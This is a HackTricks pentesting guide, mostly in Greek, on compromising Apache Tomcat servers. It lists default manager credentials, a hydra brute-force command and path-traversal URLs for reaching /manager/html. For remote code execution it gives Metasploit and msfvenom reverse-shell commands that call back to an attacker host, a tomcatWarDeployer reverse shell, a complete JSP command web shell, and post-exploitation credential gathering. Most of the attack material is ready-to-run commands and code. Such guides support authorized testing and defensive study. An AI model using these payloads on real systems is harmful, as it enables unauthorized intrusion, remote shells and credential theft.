Tomcat

Support HackTricks

Discovery

  • Συνήθως τρέχει σε θύρα 8080

  • Κοινό σφάλμα Tomcat:

Enumeration

Version Identification

Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.

Τοποθεσία Αρχείων Διαχειριστή

Η αναγνώριση των ακριβών τοποθεσιών των /manager και /host-manager καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.

Αναγνώριση Ονομάτων Χρηστών

Για εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:

msf> use auxiliary/scanner/http/tomcat_enum

Προεπιλεγμένα Διαπιστευτήρια

Ο /manager/html φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Ένας άλλος αξιοσημείωτος κατάλογος είναι /manager/status, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.

Brute Force Attack

Για να προσπαθήσετε μια επίθεση brute force στον κατάλογο διαχείρισης, μπορείτε να χρησιμοποιήσετε:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Common Vulnerabilities

Password Backtrace Disclosure

Η πρόσβαση στο /auth.jsp μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.

Double URL Encoding

Η ευπάθεια CVE-2007-1860 στο mod_jk επιτρέπει την διπλή κωδικοποίηση URL path traversal, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.

Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: pathTomcat/%252E%252E/manager/html

/examples

Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε περισσότερες πληροφορίες εδώ

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal Exploit

Σε ορισμένες ευάλωτες ρυθμίσεις του Tomcat μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας το path: /..;/

Έτσι, για παράδειγμα, μπορεί να μπορείτε να αποκτήσετε πρόσβαση στη σελίδα διαχείρισης του Tomcat πηγαίνοντας: www.vulnerable.com/lalala/..;/manager/html

Ένας άλλος τρόπος για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο http://www.vulnerable.com/;param=value/manager/html

RCE

Τέλος, αν έχετε πρόσβαση στον Tomcat Web Application Manager, μπορείτε να ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα).

Limitations

Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε αρκετά δικαιώματα (ρόλοι: admin, manager και manager-script). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο tomcat-users.xml που συνήθως ορίζεται στο /usr/share/tomcat9/etc/tomcat-users.xml (διαφέρει μεταξύ εκδόσεων) (βλ. POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Δημιουργήστε το war για ανάπτυξη:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Ανεβάστε το revshell.war αρχείο και αποκτήστε πρόσβαση σε αυτό (/revshell/):

Bind και reverse shell με tomcatWarDeployer.py

Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)

Κατεβάστε

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Αντίστροφη θήκη

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Χρήση Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): http://vonloesch.de/filebrowser.html

Χειροκίνητη Μέθοδος 2

Αποκτήστε ένα JSP web shell όπως αυτό και δημιουργήστε ένα WAR αρχείο:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Άλλοι τρόποι για να συλλέξετε διαπιστευτήρια Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Άλλα εργαλεία σάρωσης tomcat

Αναφορές

Υποστήριξη HackTricks

Last updated